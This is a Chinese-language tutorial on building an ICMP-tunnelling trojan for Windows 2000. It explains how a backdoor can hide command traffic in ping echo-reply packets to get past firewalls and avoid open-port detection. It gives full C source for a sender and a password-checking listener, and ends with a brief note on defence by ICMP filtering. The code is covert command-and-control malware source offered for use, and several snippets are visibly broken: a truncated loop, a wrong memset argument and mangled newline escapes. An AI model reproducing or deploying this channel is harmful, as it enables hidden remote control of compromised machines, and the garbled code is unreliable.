基于ICMP木马的编写
本文会详细的分析Win2000下一种新型木马的内部构造和防御方法。(本文默认的操作系统为Win2000,开发环境为VC++6.0。)
大家知道,一般的"古典"型木马都是通过建立TCP连接来进行命令和数据的传递的,但是这种方法有一个致命的漏洞,就是木马在等待和运行的过程中,始终有一个和外界联系的端口打开着,这是木马的阿喀琉斯之踵(参看希腊神话《特洛伊战纪》),也是高手们查找木马的杀手锏之一(Netstat大法)。所谓道高一尺,魔高一丈,木马也是在斗争中不断进步不断成长的,其中一种ICMP木马就彻底摆脱了端口的束缚,成为黑客入侵后门工具中的佼佼者。
什么是ICMP呢?ICMP全称是Internet Control Message Protocol(互联网控制报文协议)它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文,这个协议常常为TCP或UDP协议服务,但是也可以单独使用,例如著名的工具Ping(向Mike Muuss致敬),就是通过发送接收ICMP_ECHO和ICMP_ECHOREPLY报文来进行网络诊断的。
实际上,ICMP木马的出现正是得到了Ping程序的启发,由于ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会,木马将自己伪装成一个Ping的进程,系统就会将ICMP_ECHOREPLY(Ping的回包)的监听、处理权交给木马进程,一旦事先约定好的ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。
ICMP_ECHOREPLY包还有对于防火墙和网关的穿透能力。对于防火墙来说,ICMP报文是被列为危险的一类:从Ping of Death到ICMP风暴到ICMP碎片攻击,构造ICMP报文一向是攻击主机的最好方法之一,因此一般的防火墙都会对ICMP报文进行过滤;但是ICMP_ECHOREPLY报文却往往不会在过滤策略中出现,这是因为一旦不允许ICMP_ECHOREPLY报文通过就意味着主机没有办法对外进行Ping的操作,这样对于用户是极其不友好的。如果设置正确,ICMP_ECHOREPLY报文也能穿过网关,进入局域网。
为了实现发送/监听ICMP报文,必须建立SOCK_RAW(原始套接口),首先,我们需要定义一个IP首部:
typedef struct iphdr {
unsigned int version:4; // IP版本号,4表示IPV4
unsigned int h_len:4; // 4位首部长度
unsigned char tos; // 8位服务类型TOS
unsigned short total_len; // 16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; // 3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; // 8位协议 (TCP, UDP 或其他)
unsigned short checksum; // 16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IpHeader;
然后定义一个ICMP首部:
typedef struct _ihdr {
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}IcmpHeader;
这时可以同过WSASocket建立一个原始套接口:
SockRaw=WSASocket(
AF_INET, //协议族
SOCK_RAW, //协议类型,SOCK_RAW表示是原始套接口
IPPROTO_ICMP, //协议,IPPROTO_ICMP表示ICMP数据报
NULL, //WSAPROTOCOL_INFO置空
0, //保留字,永远置为0
WSA_FLAG_OVERLAPPED //标志位
);
注:为了使用发送接收超时设置(设置SO_RCVTIMEO, SO_SNDTIMEO),必须将标志位置为WSA_FLAG_OVERLAPPED
随后你可以使用fill_icmp_data子程序填充ICMP报文段:
fill_icmp_data函数:
void fill_icmp_data(char * icmp_data, int datasize)
{
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr = (IcmpHeader*)icmp_data;
icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY
icmp_hdr->i_code = 0;
icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号
icmp_hdr->i_cksum = 0; //校验和初始化
icmp_hdr->i_seq = 0; //序列号初始化
datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文地址加上ICMP的首部长度
memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据全部为"A",你可以填充任何代码和数据,实际上木马和控制端之间就是通过数据段传递数据的。
}
再使用CheckSum子程序计算ICMP校验和:
调用方法:
((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);
CheckSum函数:
USHORT CheckSum (USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它
随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:
sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
作为服务端的监听程序,基本的操作相同,只是需要使用recvfrm函数接收ICMP_ECHOREPLY报文并用decoder函数将接收来的报文解码为数据和命令:
recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct
sockaddr*)&from,&fromlen);
decode_resp(recvbuf,recv_icmp,&from);
decoder函数:
void decoder(char *buf, int bytes,struct sockaddr_in *from)
{
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf; //IP首部的地址就等于buf的地址
iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须*4
icmphdr = (IcmpHeader*)(buf + iphdrlen); //ICMP首部的地址等于IP首部长加buf
printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); //取出源地址
printf(" icmp_id=%d. ",icmphdr->i_id); //取出进程号
printf(" icmp_seq=%d. ",icmphdr->i_seq); //取出序列号
printf(" icmp_type=%d",icmphdr->i_type); //取出类型
printf(" icmp_code=%d",icmphdr->i_code); //取出代码
for(i=0;//取出数据段
}
注:在WIN2000下使用SOCK_RAW需要管理员的权限。
对于ICMP木马,除非你使用嗅探器或者监视windows的SockAPI调用,否则从网络上是很难发现木马的行踪的(关于进程的隐藏及破解会在下一篇文章中进行讨论),那么,有什么可以补救的方法呢?有的,就是过滤ICMP报文,对于win2000可以使用系统自带的路由功能对ICMP协议进行过滤,win2000的Routing & Remote Access功能十分强大,其中之一就是建立一个TCP/IP协议过滤器:打开Routing & Remote Access,选中机器名,在IP路由->General->网卡属性中有两个过滤器-输入过滤和输出过滤,只要在这里将你想过滤的协议制定为策略,ICMP木马就英雄无用武之地了;不过值得注意的是,一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,你就别想再用Ping这个工具了;如果过滤了所有的ICMP报文,你就收不到任何错误报文,当你使用IE访问一个并不存在的网站时,往往要花数倍的时间才能知道结果(嘿嘿,网络不可达、主机不可达、端口不可达报文你一个都收不到),而且基于ICMP协议的tracert工具也会失效,这也是方便和安全之间的矛盾统一了吧。
附录:
1、发送ICMP_ECHOREPLY报文的程序代码
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#define ICMP_ECHO 8 //ICMP回显请求报文的类型值为8
#define ICMP_ECHOREPLY 0 //ICMP回显应答报文的类型值为0
#define ICMP_MIN 8 // ICMP报文的最小长度是8字节(仅为首部)
#define ICMP_DEST_IP "127.0.0.1" //目标主机的IP
#define ICMP_PASSWORD 1234 //密码设置,用来识别控制端
// 定义IP 首部
typedef struct iphdr {
unsigned int version:4; //IP版本号,4表示IPV4
unsigned int h_len:4; //4位首部长度
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IpHeader;
// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}IcmpHeader;
#define STATUS_FAILED 0xFFFF
#define DEF_PACKET_SIZE 64 //定义报文的大小为64字节
#define MAX_PACKET 6500 //定义最大报文的大小为6500字节
#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
#define xfree(p) HeapFree (GetProcessHeap(),0,(p))
void fill_icmp_data(char *,int); //填充ICMP报文的子程序
USHORT checksum(USHORT *, int); //计算校验和的子程序
int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET sockRaw = (SOCKET)NULL;
struct sockaddr_in dest,from;
struct hostent * hp;
int bread,datasize,retval,bwrote;
int fromlen = sizeof(from);
int timeout = 1000;
char *icmp_data;
char *recvbuf;
unsigned int addr=0;
USHORT seq_no = 0;
static int nCount=0;
if((retval=WSAStartup(MAKEWORD(2,1),&wsaData)) != 0)
{fprintf(stderr,"WSAStartup failed: %d/n",retval);ExitProcess(STATUS_FAILED);}
if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError());ExitProcess(STATUS_FAILED);}
__try
{
if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR)
{fprintf(stderr,"Failed to set recv timeout: %d/n",WSAGetLastError());__leave;} //设置接收超时
if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR)
{fprintf(stderr,"Failed to set send timeout: %d/n",WSAGetLastError());__leave;} //设置发送超时
memset(&dest,0,sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);
datasize=DEF_PACKET_SIZE;
datasize+=sizeof(IcmpHeader);
icmp_data=xmalloc(MAX_PACKET);
recvbuf=xmalloc(MAX_PACKET);
if(!icmp_data) {fprintf(stderr,"HeapAlloc failed %d/n",GetLastError());__leave;}
memset(icmp_data,0,MAX_PACKET);
printf("/nSend Packet to %s Success!/n",ICMP_DEST_IP);
fill_icmp_data(icmp_data,datasize); //填充ICMP报文
((IcmpHeader*)icmp_data)->timestamp = GetTickCount(); //设置时间戳
((IcmpHeader*)icmp_data)->i_seq = ICMP_PASSWORD; //设置序列号,实际使用时可以用这个密码验证
((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); //计算校验和
bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); //发送报文
if (bwrote == SOCKET_ERROR)
{
if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out/n");
fprintf(stderr,"sendto failed: %d/n",WSAGetLastError());
__leave;
}
if (bwrote < datasize ) fprintf(stdout,"Wrote %d bytes/n",bwrote);
}
__finally
{
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}
return 0;
}
//计算校验和函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//填充ICMP数据报函数
void fill_icmp_data(char * icmp_data, int datasize)
{
int i;
char SendMsg[20]="Hello World!";
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr = (IcmpHeader*)icmp_data;
icmp_hdr->i_type = ICMP_ECHOREPLY;
icmp_hdr->i_code = 0;
icmp_hdr->i_id = (USHORT) GetCurrentProcessId();
icmp_hdr->i_cksum = 0;
icmp_hdr->i_seq = 0;
datapart = icmp_data + sizeof(IcmpHeader);
for(i=0;i<sizeof(SendMsg);i++) datapart<i>=SendMsg<i>;
}
2、接收ICMP_ECHOREPLY报文的程序代码
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0
#define ICMP_MIN 8 // minimum 8 byte icmp packet (just header)
#define ICMP_PASSWORD 1234
/* The IP header */
typedef struct iphdr {
unsigned int h_len:4; //4位首部长度
unsigned int version:4; //IP版本号,4表示IPV4
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IpHeader;
//定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}IcmpHeader;
#define STATUS_FAILED 0xFFFF
#define DEF_PACKET_SIZE 640
#define MAX_PACKET 6500
#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
#define xfree(p) HeapFree (GetProcessHeap(),0,(p))
void fill_icmp_data(char *, int);
USHORT checksum(USHORT *, int);
void decode_resp(char *,int ,struct sockaddr_in *);
int main(int argc, char **argv){
WSADATA wsaData;
SOCKET sockRaw = (SOCKET)NULL;
struct sockaddr_in dest,from;
struct hostent * hp;
int bread,datasize,retval;
int fromlen = sizeof(from);
int timeout = 1000;
char *icmp_data;
char *recvbuf;
unsigned int addr=0;
USHORT seq_no = 0;
if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0){
fprintf(stderr,"WSAStartup failed: %d/n",retval);
ExitProcess(STATUS_FAILED);
}
sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);
if (sockRaw == INVALID_SOCKET) {
fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
__try{
bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
if(bread == SOCKET_ERROR)
{
fprintf(stderr,"failed to set recv timeout: %d/n",WSAGetLastError());
__leave;
}
bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));
if(bread == SOCKET_ERROR)
{
fprintf(stderr,"failed to set send timeout: %d/n",WSAGetLastError());
__leave;
}
memset(&dest,0,sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr("207.46.230.218");//任意IP地址
datasize = DEF_PACKET_SIZE;
datasize += sizeof(IcmpHeader);
icmp_data = xmalloc(MAX_PACKET);
recvbuf = xmalloc(MAX_PACKET);
if (!icmp_data) {
fprintf(stderr,"HeapAlloc failed %d/n",GetLastError());
__leave;
}
memset(icmp_data,0,MAX_PACKET);
while(1) {
static int nCount = 0;
int bwrote;
fill_icmp_data(icmp_data,datasize);
((IcmpHeader*)icmp_data)->i_cksum = 0;
((IcmpHeader*)icmp_data)->timestamp = GetTickCount();
((IcmpHeader*)icmp_data)->i_seq = 1111;
((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);
bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);
if (bread == SOCKET_ERROR){
if (WSAGetLastError() == WSAETIMEDOUT) {
continue;
}
fprintf(stderr,"recvfrom failed: %d/n",WSAGetLastError());
__leave;
}
decode_resp(recvbuf,bread,&from);
Sleep(1000);
}
}
__finally {
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}
return 0;
}
void decode_resp(char *buf, int bytes,struct sockaddr_in *from)
{
int i;
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf;
iphdrlen = iphdr->h_len * 4 ;
icmphdr = (IcmpHeader*)(buf + iphdrlen);
if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段
{
printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
printf(" IcmpType %d",icmphdr->i_type);
printf(" IcmpCode %d",icmphdr->i_code);
printf("/n");
for(i=0;i<50;i++) printf("%c",*(buf+iphdrlen+i+12));
}
else printf("Other ICMP Packets!/n");
printf("/n");
}
USHORT checksum(USHORT *buffer, int size) {
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
void fill_icmp_data(char * icmp_data, int datasize){
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr = (IcmpHeader*)icmp_data;
icmp_hdr->i_type = ICMP_ECHO;
icmp_hdr->i_code = 0;
icmp_hdr->i_id = (USHORT)GetCurrentProcessId();
icmp_hdr->i_cksum = 0;
icmp_hdr->i_seq = 12;
datapart = icmp_data + sizeof(IcmpHeader);
memset(datapart,'A', datasize - sizeof(IcmpHeader));
}